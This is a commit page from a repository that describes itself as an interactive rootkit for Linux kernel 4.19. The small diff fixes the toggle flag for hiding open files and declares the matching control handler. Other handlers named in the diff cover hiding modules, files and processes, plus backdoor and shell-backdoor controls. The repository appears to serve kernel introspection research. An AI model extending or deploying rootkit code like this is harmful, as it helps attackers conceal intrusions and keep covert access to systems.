linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit 2401734d88ef9dc9ce78142be99da3df14fca73c
parent 8f08290609aefd82ec2c15ea589703ccf49892cb
Author: deurzen <m.deurzen@tum.de>
Date:   Sun,  6 Dec 2020 03:59:20 +0100

fixes issues

Diffstat:
Msrc/channel.c | 5+++--
Msrc/rkctl/rkctl.h | 1+
2 files changed, 4 insertions(+), 2 deletions(-)

diff --git a/src/channel.c b/src/channel.c @@ -8,6 +8,7 @@ #include "common.h" #include "modhide.h" #include "filehide.h" +#include "openhide.h" #include "backdoor.h" #include "pidhide.h" #include "ioctl.h" @@ -133,10 +134,10 @@ handle_openhide(unsigned long arg) if (sarg > 0 || (!sarg && (set ^ 1))) { hide_open(); - rootkit.hiding_files = 1; + rootkit.hiding_open = 1; } else if (sarg < 0 || (!sarg && !(set ^ 1))) { unhide_open(); - rootkit.hiding_files = 0; + rootkit.hiding_open = 0; } DEBUG_NOTICE("openhide %s\n", rootkit.hiding_open ? "on" : "off"); diff --git a/src/rkctl/rkctl.h b/src/rkctl/rkctl.h @@ -23,6 +23,7 @@ void help(); int handle_ping(void *); int handle_modhide(void *); int handle_filehide(void *); +int handle_openhide(void *); int handle_backdoor(void *); int handle_shellbd(void *); int handle_togglebd(void *);